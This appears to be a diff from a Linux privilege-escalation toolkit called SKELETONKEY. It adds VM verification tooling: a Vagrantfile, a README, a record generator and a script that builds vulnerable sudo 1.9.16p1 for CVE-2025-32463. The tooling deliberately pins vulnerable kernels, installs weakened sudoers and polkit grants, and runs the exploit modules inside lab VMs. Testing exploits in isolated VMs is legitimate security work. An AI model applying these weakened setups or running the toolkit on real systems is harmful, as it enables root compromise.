|
||||
" if (strcmp(verifications[i].module, module) == 0) {",
|
||||
" if (first == NULL) first = &verifications[i];",
|
||||
" n++;",
|
||||
" }",
|
||||
" }",
|
||||
" if (count_out) *count_out = n;",
|
||||
" return first;",
|
||||
"}",
|
||||
"",
|
||||
"bool verifications_module_has_match(const char *module)",
|
||||
"{",
|
||||
" size_t n = 0;",
|
||||
" const struct verification_record *r = verifications_for_module(module, &n);",
|
||||
" for (size_t i = 0; i < n; i++)",
|
||||
" if (r[i].status && strcmp(r[i].status, \"match\") == 0)",
|
||||
" return true;",
|
||||
" return false;",
|
||||
"}",
|
||||
"",
|
||||
]
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description=__doc__.splitlines()[1])
|
||||
ap.add_argument("--check", action="store_true",
|
||||
help="diff against committed core/verifications.c; exit 1 on drift")
|
||||
args = ap.parse_args()
|
||||
|
||||
records = dedup_latest(load_records())
|
||||
text = render_c(records)
|
||||
|
||||
if args.check:
|
||||
existing = OUT_C.read_text() if OUT_C.exists() else ""
|
||||
if existing == text:
|
||||
print(f"[+] core/verifications.c is current ({len(records)} record(s))",
|
||||
file=sys.stderr)
|
||||
return 0
|
||||
print("[!] core/verifications.c drifted — rerun "
|
||||
"tools/refresh-verifications.py", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
OUT_C.write_text(text)
|
||||
print(f"[+] wrote {OUT_C.relative_to(REPO)} ({len(records)} record(s))",
|
||||
file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,193 @@
|
||||
# SKELETONKEY VM verification
|
||||
|
||||
Auto-provisions a Parallels Desktop VM with a known-vulnerable kernel,
|
||||
runs `skeletonkey --explain <module> --active` inside it, and emits a
|
||||
verification record. Closes the loop between "detect() compiles & passes
|
||||
unit tests" and "exploit() actually works on a real vulnerable kernel."
|
||||
|
||||
## One-time setup
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/setup.sh
|
||||
```
|
||||
|
||||
That installs (if missing): Vagrant via Homebrew, the `vagrant-parallels`
|
||||
plugin, and pre-downloads ~5 GB of base boxes (Ubuntu 18.04/20.04/22.04
|
||||
+ Debian 11/12). Idempotent — re-run any time.
|
||||
|
||||
To skip boxes you don't need (save disk):
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/setup.sh ubuntu2004 debian11 # only those two
|
||||
```
|
||||
|
||||
## Verify a single module
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/verify.sh nf_tables
|
||||
```
|
||||
|
||||
What that does (two-phase model — install kernel, then verify):
|
||||
|
||||
1. Reads `tools/verify-vm/targets.yaml`: finds `nf_tables` → box
|
||||
`generic/ubuntu2204` + `mainline_version: 5.15.5`.
|
||||
2. `vagrant up skk-nf_tables` if not already running (each module gets
|
||||
its own machine for isolation).
|
||||
3. **Prep phase** — runs every prep provisioner that applies:
|
||||
- `pin-kernel-<pkg>` if `kernel_pkg` is set (apt install + GRUB_DEFAULT pin)
|
||||
- `pin-mainline-<ver>` if `mainline_version` is set (download from
|
||||
kernel.ubuntu.com/mainline, dpkg -i, GRUB_DEFAULT pin)
|
||||
- `module-provision-<name>` if `provisioners/<name>.sh` exists
|
||||
(build vulnerable sudo from source, drop polkit allow rule,
|
||||
install udisks2, etc.)
|
||||
4. **Conditional reboot** — `vagrant reload` if `uname -r` doesn't
|
||||
match the target kernel after the prep phase. Confirms post-reboot
|
||||
kernel actually landed on the target; warns if it didn't.
|
||||
5. **Verify phase** — `build-and-verify` provisioner: rsync the source,
|
||||
`make`, run `skeletonkey --explain <module> --active`.
|
||||
6. Parses the `VERDICT:` line, compares against `expect_detect` from
|
||||
targets.yaml, appends a JSON verification record to
|
||||
`docs/VERIFICATIONS.jsonl`.
|
||||
7. Suspends the VM (`vagrant suspend`) — instant resume next run.
|
||||
|
||||
Lifecycle flags:
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/verify.sh nf_tables --keep # leave VM running; ssh in to inspect
|
||||
./tools/verify-vm/verify.sh nf_tables --destroy # full teardown after run
|
||||
```
|
||||
|
||||
## List every target
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/verify.sh --list
|
||||
```
|
||||
|
||||
Shows the (module, box, target kernel, expected verdict, notes) matrix
|
||||
for all targets. Modules with `manual: true` are blocked by their
|
||||
target environment — see the notes field for the reason (VMware-only
|
||||
guest, EOL kernel needed, t64-transition libs missing, etc.).
|
||||
|
||||
## Verification records
|
||||
|
||||
`verify.sh` appends one JSON record per run to
|
||||
`docs/VERIFICATIONS.jsonl`:
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "nf_tables",
|
||||
"verified_at": "2026-05-24T03:24:01Z",
|
||||
"host_kernel": "5.15.5-051505-generic",
|
||||
"host_distro": "Ubuntu 22.04.3 LTS",
|
||||
"vm_box": "generic/ubuntu2204",
|
||||
"expect_detect": "VULNERABLE",
|
||||
"actual_detect": "VULNERABLE",
|
||||
"status": "match"
|
||||
}
|
||||
```
|
||||
|
||||
`status: match` means detect() returned what we expected on a known-
|
||||
vulnerable kernel. Anything else (`MISMATCH`, exit code != 0) means
|
||||
either:
|
||||
|
||||
- The kernel pin didn't take — check `host_kernel` against
|
||||
`kernel_version` in targets.yaml. The "post-reboot kernel" line in
|
||||
the verify log will say if `vagrant reload` did or didn't land on
|
||||
the target.
|
||||
- The exploit's preconditions aren't met in the default Vagrant image
|
||||
(e.g. apparmor blocks unprivileged userns; provisioner needed).
|
||||
- The module's detect() logic is wrong for this kernel/distro combo
|
||||
(a real module bug — fix it, as we did for `dirtydecrypt` after
|
||||
cross-checking against NVD).
|
||||
|
||||
Run `tools/refresh-verifications.py` after new records land to
|
||||
regenerate `core/verifications.c` so the binary's `--explain` and
|
||||
`--list` reflect the latest evidence.
|
||||
|
||||
## How it routes module → box
|
||||
|
||||
Mapping lives in `tools/verify-vm/targets.yaml`. Each entry has:
|
||||
|
||||
- `box` — generic/<distro> (e.g. `ubuntu2204`)
|
||||
- `kernel_pkg` — apt package for a vulnerable stock-archive kernel,
|
||||
if one still exists in the distro's repos
|
||||
- `mainline_version` — alternative to `kernel_pkg`: pulls a vanilla
|
||||
upstream kernel from `kernel.ubuntu.com/mainline/v<ver>/`. Use when
|
||||
the apt-archive version has been garbage-collected (Ubuntu drops
|
||||
old ABI versions) or when you need a specific point release that
|
||||
the distro never packaged.
|
||||
- `kernel_version` — what `uname -r` should report after install
|
||||
- `expect_detect` — `VULNERABLE` | `OK` | `PRECOND_FAIL`
|
||||
- `manual: true` — skip auto verification; explain why in `notes`
|
||||
- `notes` — full context for why this target was picked
|
||||
|
||||
Adding a new module is one block in targets.yaml. If the module needs
|
||||
per-target setup beyond installing a kernel — for example building
|
||||
sudo from source, adding a sudoers grant, or dropping a polkit allow
|
||||
rule — write a shell script at `tools/verify-vm/provisioners/<module>.sh`
|
||||
and the Vagrantfile will pick it up automatically.
|
||||
|
||||
## Module-specific provisioners (`provisioners/<module>.sh`)
|
||||
|
||||
When the kernel pin alone doesn't make a host vulnerable — e.g.
|
||||
the bug is sudo-version-gated, or a polkit "active session" check
|
||||
blocks the SSH path — drop a shell script at
|
||||
`tools/verify-vm/provisioners/<module_name>.sh`. The Vagrantfile
|
||||
runs it as root in the prep phase, before the `vagrant reload`
|
||||
check. Scripts should be idempotent (apt is no-op if installed,
|
||||
file overwrites are safe) since they re-run on every verify.
|
||||
|
||||
Existing examples:
|
||||
|
||||
- `sudo_chwoot.sh` — builds sudo 1.9.16p1 from upstream into
|
||||
`/usr/local/bin` so the vulnerable `--chroot` code path is reachable
|
||||
on Ubuntu 22.04 (which ships pre-feature 1.9.9).
|
||||
- `udisks_libblockdev.sh` — installs `udisks2` + drops a polkit rule
|
||||
allowing the vagrant user to invoke `loop-setup` / `filesystem-mount`
|
||||
(without this, the SSH session is not "active" per polkit and the
|
||||
D-Bus call short-circuits).
|
||||
- `sudo_runas_neg1.sh` — adds `vagrant ALL=(ALL,!root) NOPASSWD: /bin/vi`
|
||||
to `/etc/sudoers.d/` so `find_runas_blacklist_grant()` has a grant
|
||||
to abuse.
|
||||
|
||||
## Pinning kernels: apt vs mainline
|
||||
|
||||
`pin-kernel-<pkg>` runs `apt-get install -y <pkg>`. Best when the
|
||||
target version still lives in the distro's archive (rare for old
|
||||
point releases — Ubuntu eventually GCs them). Also pins `GRUB_DEFAULT`
|
||||
to the just-installed kernel so the reboot lands on it instead of
|
||||
the higher-version stock kernel.
|
||||
|
||||
`pin-mainline-<ver>` downloads vanilla mainline debs from
|
||||
`kernel.ubuntu.com/mainline/v<ver>/`. Tries `/amd64/` first, falls
|
||||
back to bare `/v<ver>/` for old kernels (≤ ~4.15) where amd64 wasn't
|
||||
a separate subdir. Accepts both `linux-image-` (older naming) and
|
||||
`linux-image-unsigned-` (current). Pins `GRUB_DEFAULT` to the
|
||||
mainline kernel so grub doesn't keep booting the higher-versioned
|
||||
stock kernel.
|
||||
|
||||
## Files
|
||||
|
||||
```
|
||||
tools/verify-vm/
|
||||
├── README.md this file
|
||||
├── setup.sh one-time bootstrap (Vagrant, plugin, box cache)
|
||||
├── verify.sh per-module verifier
|
||||
├── Vagrantfile parameterized VM config (driven by SKK_VM_* env vars)
|
||||
├── targets.yaml module → box mapping with rationale
|
||||
├── provisioners/ optional per-module shell hooks
|
||||
│ ├── sudo_chwoot.sh
|
||||
│ ├── sudo_runas_neg1.sh
|
||||
│ └── udisks_libblockdev.sh
|
||||
└── logs/ per-verification stdout/stderr capture
|
||||
```
|
||||
|
||||
## Why Vagrant + Parallels
|
||||
|
||||
You already have Parallels Desktop. `vagrant-parallels` gives a
|
||||
scriptable per-VM config + a curated public box library + idempotent
|
||||
`vagrant up/provision/reload/suspend` lifecycle. The Vagrantfile is
|
||||
parameterized via env vars so a single file drives every target.
|
||||
|
||||
Alternative providers (Lima, Multipass) would also work; Vagrant was
|
||||
chosen for ergonomic continuity with the existing Parallels install.
|
||||
Vendored
+217
@@ -0,0 +1,217 @@
|
||||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
#
|
||||
# tools/verify-vm/Vagrantfile — parameterized verifier VM.
|
||||
#
|
||||
# Driven by env vars set by tools/verify-vm/verify.sh:
|
||||
#
|
||||
# SKK_VM_BOX generic/<box> name (e.g. generic/debian11)
|
||||
# SKK_VM_KERNEL_PKG optional apt package for the vulnerable kernel
|
||||
# (e.g. linux-image-5.13.0-19-generic). Empty = use stock.
|
||||
# SKK_VM_KERNEL_VERSION expected kernel version after install
|
||||
# SKK_VM_HOSTNAME hostname for this VM (used in vagrant box name)
|
||||
#
|
||||
# The Vagrantfile mounts the repo root at /vagrant (Vagrant default) so the
|
||||
# in-VM `make` builds against your live source — no rebuild loop.
|
||||
|
||||
require "yaml"
|
||||
|
||||
REPO_ROOT = File.expand_path("../..", __dir__)
|
||||
|
||||
box = ENV["SKK_VM_BOX"] || "generic/debian12"
|
||||
pkg = ENV["SKK_VM_KERNEL_PKG"] || ""
|
||||
mainline = ENV["SKK_VM_MAINLINE_VERSION"] || ""
|
||||
kver = ENV["SKK_VM_KERNEL_VERSION"] || ""
|
||||
host = ENV["SKK_VM_HOSTNAME"] || "skk-verify"
|
||||
|
||||
Vagrant.configure("2") do |c|
|
||||
# Define ONE Vagrant machine named after SKK_VM_HOSTNAME. Per-module
|
||||
# isolation: each module gets its own `skk-<module>` machine that
|
||||
# vagrant tracks in .vagrant/machines/skk-<module>/parallels/.
|
||||
c.vm.define host do |m|
|
||||
m.vm.box = box
|
||||
# Guest hostnames forbid underscores per RFC 952. Vagrant machine
|
||||
# names allow them (we keep skk-cgroup_release_agent so per-module
|
||||
# state stays isolated in .vagrant/machines/), but inside the VM
|
||||
# we translate to hyphens so the hostname is RFC-valid.
|
||||
m.vm.hostname = host.gsub("_", "-")
|
||||
|
||||
m.vm.synced_folder REPO_ROOT, "/vagrant",
|
||||
type: "rsync", rsync__exclude: ["build/", ".git/", "*.o", "skeletonkey-test*"]
|
||||
|
||||
m.vm.provider "parallels" do |p|
|
||||
p.memory = 2048
|
||||
p.cpus = 2
|
||||
p.name = host
|
||||
# Don't auto-update Parallels Tools: the installer fails on older
|
||||
# guest kernels (e.g. Ubuntu 20.04's 5.4.0-169 is "outdated and
|
||||
# not supported" by latest tools). We use rsync over SSH for
|
||||
# sync_folder, which doesn't need the guest tools at all.
|
||||
p.update_guest_tools = false
|
||||
p.check_guest_tools = false
|
||||
end
|
||||
|
||||
# 1. Always install build deps + sudo (needed for module verification).
|
||||
m.vm.provision "shell", inline: <<-SHELL
|
||||
set -e
|
||||
if command -v apt-get >/dev/null 2>&1; then
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get update -qq
|
||||
apt-get install -y -qq build-essential libglib2.0-dev pkg-config sudo curl ca-certificates
|
||||
elif command -v dnf >/dev/null 2>&1; then
|
||||
dnf install -y -q gcc make glib2-devel pkgconfig sudo curl
|
||||
fi
|
||||
SHELL
|
||||
|
||||
# 2a. Pin via apt if requested. Reboot needed afterward.
|
||||
if !pkg.empty?
|
||||
m.vm.provision "shell", name: "pin-kernel-#{pkg}", inline: <<-SHELL
|
||||
set -e
|
||||
if dpkg-query -W -f='${Status}' #{pkg} 2>/dev/null | grep -q 'install ok installed'; then
|
||||
echo "[=] #{pkg} already installed"
|
||||
else
|
||||
echo "[+] installing #{pkg} (kernel target #{kver})"
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get install -y -qq #{pkg}
|
||||
echo "[i] kernel #{pkg} installed"
|
||||
fi
|
||||
# Pin grub default to this specific kernel. Without it, grub
|
||||
# picks the highest-versioned kernel installed (typically a
|
||||
# stock HWE backport that's POST-fix), defeating the pin's
|
||||
# purpose. Find the kver string by stripping linux-image-
|
||||
# prefix from the pkg name.
|
||||
PINNED_KVER="$(echo '#{pkg}' | sed 's/^linux-image-//')"
|
||||
if [ -f "/boot/vmlinuz-${PINNED_KVER}" ]; then
|
||||
GRUB_ENTRY="Advanced options for Ubuntu>Ubuntu, with Linux ${PINNED_KVER}"
|
||||
sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\\"${GRUB_ENTRY}\\"|" /etc/default/grub
|
||||
echo "[+] GRUB_DEFAULT pinned to: ${GRUB_ENTRY}"
|
||||
update-grub 2>&1 | tail -3
|
||||
fi
|
||||
SHELL
|
||||
end
|
||||
|
||||
# 2b. Pin via kernel.ubuntu.com/mainline/ if mainline_version is set.
|
||||
# Fetches the four .debs (linux-headers _all, linux-headers _amd64
|
||||
# generic, linux-image-unsigned generic, linux-modules generic),
|
||||
# dpkg -i's them, regenerates grub, and prints a reboot hint.
|
||||
# Mainline kernel package version like "5.15.5-051505" sorts ABOVE
|
||||
# Ubuntu's stock "5.15.0-91" in debian-version-compare (numeric
|
||||
# 51505 > 91), so update-grub puts it at boot index 0 and the next
|
||||
# boot lands on it automatically.
|
||||
if !mainline.empty?
|
||||
m.vm.provision "shell", name: "pin-mainline-#{mainline}", inline: <<-SHELL
|
||||
set -e
|
||||
KVER="#{mainline}"
|
||||
# already booted into it? Still fall through to grub-pin to
|
||||
# make sure GRUB_DEFAULT stays correct even after stock kernel
|
||||
# upgrades that might reorder grub entries.
|
||||
BOOTED_INTO_TARGET=0
|
||||
if uname -r | grep -q "^${KVER}-[0-9]\\+-generic"; then
|
||||
echo "[=] mainline ${KVER} already booted ($(uname -r))"
|
||||
BOOTED_INTO_TARGET=1
|
||||
fi
|
||||
|
||||
# already installed on disk? Skip the download/install but
|
||||
# still run the grub-pin block at the end.
|
||||
SKIP_INSTALL=0
|
||||
if ls /boot/vmlinuz-${KVER}-* >/dev/null 2>&1; then
|
||||
echo "[=] mainline ${KVER} already installed on disk"
|
||||
SKIP_INSTALL=1
|
||||
fi
|
||||
|
||||
if [ "$SKIP_INSTALL" -eq 0 ]; then
|
||||
echo "[+] fetching kernel.ubuntu.com mainline v${KVER}"
|
||||
# Newer mainline kernels live under /v${KVER}/amd64/; older ones
|
||||
# (≤ ~4.15) put debs at /v${KVER}/ directly. Try /amd64/ first;
|
||||
# fall back to bare. linux-image-unsigned was renamed from
|
||||
# linux-image- around 4.18 — old kernels use the plain name.
|
||||
BASE="https://kernel.ubuntu.com/mainline/v${KVER}"
|
||||
for URL in "${BASE}/amd64/" "${BASE}/"; do
|
||||
INDEX=$(curl -sL "$URL")
|
||||
if echo "$INDEX" | grep -q '\\.deb"'; then
|
||||
break
|
||||
fi
|
||||
done
|
||||
TMP=$(mktemp -d)
|
||||
cd "$TMP"
|
||||
# Pick the 4 canonical generic-kernel .debs by pattern match against
|
||||
# the directory index. Skip lowlatency variants. Accept both
|
||||
# 'linux-image-unsigned-' (newer) and 'linux-image-' (older).
|
||||
DEBS=$(echo "$INDEX" | \\
|
||||
grep -oE 'href="[^"]+\\.deb"' | sed 's/href="//; s/"$//' | \\
|
||||
grep -E '(linux-image(-unsigned)?|linux-modules|linux-headers)-[0-9.]+-[0-9]+-generic_|linux-headers-[0-9.]+-[0-9]+_[^_]+_all\\.deb' | \\
|
||||
grep -v lowlatency)
|
||||
if [ -z "$DEBS" ]; then
|
||||
echo "[-] no .debs found at ${BASE}/ (tried /amd64/ and bare)" >&2
|
||||
exit 2
|
||||
fi
|
||||
for f in $DEBS; do
|
||||
echo "[+] $f"
|
||||
curl -fsSL -O "${URL}${f}"
|
||||
done
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
# --force-depends so packages still install even when t64-transition
|
||||
# libs (libssl3t64, libelf1t64) are missing on a pre-24.04 rootfs.
|
||||
# The kernel image + modules don't actually need those at boot —
|
||||
# the dependency is for signing/integrity checks at build time.
|
||||
dpkg -i --force-depends *.deb || apt-get install -f -y -qq || true
|
||||
fi # end SKIP_INSTALL guard
|
||||
|
||||
# Pin grub default to the just-installed mainline kernel. Without
|
||||
# this, grub's debian-version-compare picks the highest-sorting
|
||||
# vmlinuz-* as default; for downgrades (e.g. stock 4.15 → mainline
|
||||
# 4.14.70), the OLD kernel wins because 4.15 > 4.14 numerically.
|
||||
MAINLINE_VMLINUZ=$(ls /boot/vmlinuz-${KVER}-* 2>/dev/null | head -1)
|
||||
if [ -n "$MAINLINE_VMLINUZ" ]; then
|
||||
MAINLINE_KVER=$(basename "$MAINLINE_VMLINUZ" | sed 's/^vmlinuz-//')
|
||||
# The "Advanced options" submenu entry id is stable across
|
||||
# update-grub runs as "gnulinux-advanced-<UUID>>gnulinux-<kver>-advanced-<UUID>".
|
||||
# Easier: use the human menuentry path.
|
||||
GRUB_ENTRY="Advanced options for Ubuntu>Ubuntu, with Linux ${MAINLINE_KVER}"
|
||||
sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\\"${GRUB_ENTRY}\\"|" /etc/default/grub
|
||||
echo "[+] GRUB_DEFAULT pinned to: ${GRUB_ENTRY}"
|
||||
fi
|
||||
update-grub 2>&1 | tail -3
|
||||
echo "[i] mainline ${KVER} installed; reboot via 'vagrant reload'"
|
||||
SHELL
|
||||
end
|
||||
|
||||
# 2c. Optional per-module provisioner. If
|
||||
# tools/verify-vm/provisioners/<module>.sh exists, run it as root
|
||||
# before build-and-verify. Used for things only meaningful per-module:
|
||||
# build sudo 1.9.16 from source (sudo_chwoot), drop a polkit allow
|
||||
# rule (udisks_libblockdev), add a sudoers grant (sudo_runas_neg1).
|
||||
skk_mod = ENV["SKK_MODULE"] || ""
|
||||
if !skk_mod.empty?
|
||||
prov_path = File.join(__dir__, "provisioners", "#{skk_mod}.sh")
|
||||
if File.exist?(prov_path)
|
||||
m.vm.provision "shell", name: "module-provision-#{skk_mod}",
|
||||
path: prov_path
|
||||
end
|
||||
end
|
||||
|
||||
# 3. Build SKELETONKEY in-VM and run --explain --active for the target
|
||||
# module. Runs as the unprivileged 'vagrant' user (NOT root) — most
|
||||
# detect()s gate on "are you already root?" and short-circuit if so,
|
||||
# which would invalidate every verification (pack2theroot was the
|
||||
# motivating case). 'privileged: false' is how vagrant downshifts.
|
||||
# SKK_MODULE is set by verify.sh on the second-pass `vagrant
|
||||
# provision` call (post-reboot if kernel was pinned).
|
||||
m.vm.provision "shell", name: "build-and-verify", run: "never",
|
||||
privileged: false,
|
||||
env: { "SKK_MODULE" => ENV["SKK_MODULE"] || "" },
|
||||
inline: <<-SHELL
|
||||
set -e
|
||||
cd /vagrant
|
||||
echo "[*] running as $(id)"
|
||||
echo "[*] kernel: $(uname -r)"
|
||||
echo "[*] building skeletonkey..."
|
||||
make clean >/dev/null 2>&1 || true
|
||||
make 2>&1 | tail -3
|
||||
echo
|
||||
echo "[*] running: skeletonkey --explain ${SKK_MODULE} --active"
|
||||
echo
|
||||
./skeletonkey --explain "${SKK_MODULE}" --active 2>&1 || true
|
||||
SHELL
|
||||
end
|
||||
end
|
||||
Executable
+34
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env bash
|
||||
# CVE-2025-32463 sudo --chroot NSS injection (Stratascale). Vulnerable
|
||||
# range is sudo [1.9.14, 1.9.17p0]. Ubuntu 22.04 ships 1.9.9 which
|
||||
# PREDATES the --chroot code path. Build sudo 1.9.16p1 from upstream
|
||||
# and install to /usr/local (which precedes /usr/bin in Ubuntu's default
|
||||
# PATH so plain `sudo` resolves to the vulnerable binary).
|
||||
set -e
|
||||
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get install -y -qq libpam0g-dev libssl-dev wget make gcc >/dev/null
|
||||
|
||||
cd /tmp
|
||||
TARBALL=sudo-1.9.16p1.tar.gz
|
||||
URL="https://www.sudo.ws/dist/${TARBALL}"
|
||||
|
||||
if [ -x /usr/local/bin/sudo ] && /usr/local/bin/sudo --version 2>&1 | head -1 | grep -q "1.9.16p1"; then
|
||||
echo "[=] sudo 1.9.16p1 already at /usr/local/bin/sudo"
|
||||
else
|
||||
[ -f "${TARBALL}" ] || wget -q "${URL}"
|
||||
rm -rf sudo-1.9.16p1
|
||||
tar xzf "${TARBALL}"
|
||||
cd sudo-1.9.16p1
|
||||
# --sysconfdir=/etc so it honors the existing /etc/sudoers (vagrant's
|
||||
# NOPASSWD grant). --disable-shared keeps the build self-contained.
|
||||
./configure --prefix=/usr/local --sysconfdir=/etc \
|
||||
--disable-shared --quiet >/dev/null 2>&1
|
||||
make -j"$(nproc)" >/tmp/sudo-build.log 2>&1 || { tail -40 /tmp/sudo-build.log; exit 1; }
|
||||
make install >/tmp/sudo-install.log 2>&1 || { tail -40 /tmp/sudo-install.log; exit 1; }
|
||||
fi
|
||||
|
||||
# Verify what the unprivileged user's PATH resolves to.
|
||||
echo "[+] which sudo (root): $(which sudo)"
|
||||
echo "[+] /usr/local/bin/sudo version: $(/usr/local/bin/sudo --version | head -1)"
|
||||
sudo -u vagrant bash -c 'echo "[+] vagrant PATH: $PATH"; echo "[+] vagrant sees: $(which sudo)"; sudo --version | head -1'
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user